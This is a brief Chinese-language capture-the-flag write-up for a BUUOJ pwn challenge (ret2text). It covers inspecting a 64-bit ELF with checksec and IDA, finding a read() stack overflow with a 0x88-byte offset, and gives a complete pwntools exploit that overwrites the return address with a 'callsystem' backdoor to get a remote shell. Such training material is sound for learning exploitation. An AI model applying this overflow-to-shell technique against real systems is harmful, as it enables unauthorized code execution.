远程连接环境,查看交互。输出了一句 Hello,World,之后就无任何反应了。
file 查看文件。64位 ELF 可执行文件。
checksec 查看文件安全属性。只开启了 NX 保护。
IDA 打开文件。查看 main 函数发现最后 return 的是 vulnerable_function(1LL)
查看 vulnerable_function()
函数。发现了 read() ,会造成栈溢出。
查看栈溢出大小:0x80+0x8
并且找到了后门函数。
开始编写exp:
from pwn import *
r=remote('node5.buuoj.cn',28954)
context.arch='amd64'
context.os='Linux'
elf=ELF('./pwn')
backdoor_addr=elf.symbols['callsystem']
payload=cyclic(0x80+0x8)+p64(backdoor_addr)
r.sendline(payload)
r.interactive()
得到shell,拿到flag。